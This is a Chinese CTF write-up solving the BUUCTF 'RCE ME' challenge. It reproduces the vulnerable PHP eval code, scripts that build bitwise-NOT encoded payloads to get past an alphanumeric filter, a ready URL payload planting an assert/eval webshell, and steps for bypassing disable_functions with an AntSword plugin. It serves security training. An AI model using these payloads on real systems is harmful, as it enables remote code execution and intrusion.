当前位置: 首页 > article >正文

[极客大挑战 2019]RCE ME1

 <?php
error_reporting(0);
if(isset($_GET['code'])){
            $code=$_GET['code'];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

 开始代码审计.

意思就是我们传入的code的value要到达eval()函数,我们需要绕过两个过滤

首先是长度不能大于40,之后便是我们传入的内容不能是大小写字母以及0-9的数字.

绕过方法呢可以使用取反绕过,以及异或绕过.

 我们这里采用取反绕过的方法.

首先构造exp,去看看他禁用了哪些函数.

<?php
$phpinfo=urlencode(~'phpinfo');
echo '(~'.$phpinfo.')();';
?>

result:(~%8F%97%8F%96%91%99%90)();

payload: 

http://ffc6c847-30f6-4efb-aea5-fff4306738a6.node5.buuoj.cn:81/?code=(~%8F%97%8F%96%91%99%90)();

看来禁用的还是比较多的一会可能需要使用这些被使用了disable_function()的函数了. 

之后构造webshell,由于php版本的问题呢,我们不能直接构造assert($_POST["cmd"]),我们需要构造构造成assert(eval($_POST["cmd"])),这种形式.

话不多说,开始构造webshell.

<?php 
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "\n";
$c='(eval($_POST[love]))';
$d=urlencode(~$c);
echo $d;
 ?>


result:%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6

链接蚁剑客.

http://1183e56b-6266-4676-8c7e-fe5a9f33d291.node5.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%93%90%89%9A%A2%D6%D6);

 

之前我们提到了,他禁用了很多函数方法,我们可以通过下面蚁剑的绕过disable_functions的插件进行绕过.

 

选择PHP7_GC_UAF 

 

 之后执行/readflag,来读取flag.

得到flag,游戏结束. 

 

 


http://www.kler.cn/a/329803.html

相关文章:

  • HTML基础与实践
  • 计算机网络常见协议
  • Flask学习入门笔记
  • 使用python+pytest+requests完成自动化接口测试(包括html报告的生成和日志记录以及层级的封装(包括调用Json文件))
  • 在Mac mini上实现本地话部署AI和知识库
  • 【Uniapp-Vue3】uni-api交互反馈showToast的使用方法
  • Spring Security中自定义cors配置
  • 【算法篇】回溯算法类(1)(笔记)
  • 虚拟机U盘启动
  • 使用 Git 帮助文档
  • 养老院管理系统(含源码+sql+视频导入教程+文档)
  • 图解C#高级教程(四):协变、逆变
  • JSR303微服务校验
  • docker-compose 快速部署clickhouse集群
  • Springboot项目在win系统开发部署到linux服务器出现上传文件编码问题
  • 如何改善网站的核心网络生命力
  • TypeScript 封装 Axios 1.7.7
  • 软件测试面试八股文(含答案+文档)
  • 【yolov8】模型导出----pytorch导出为onnx模型
  • windows美化终端
  • go结构体默认值和校验器(go-defaults、go-validator)
  • 【Redis】主从复制(下)--主从复制原理和流程
  • 【数据分享】2001-2023年我国省市县镇四级的逐月平均气温数据(免费获取/Shp/Excel格式)
  • ubuntu 安装kvm 创建windos虚拟机
  • AMD 矩阵核心
  • 搜维尔科技:使用Xsens动作捕捉系统和ai训练人形机器人模仿人类运动,执行复杂任务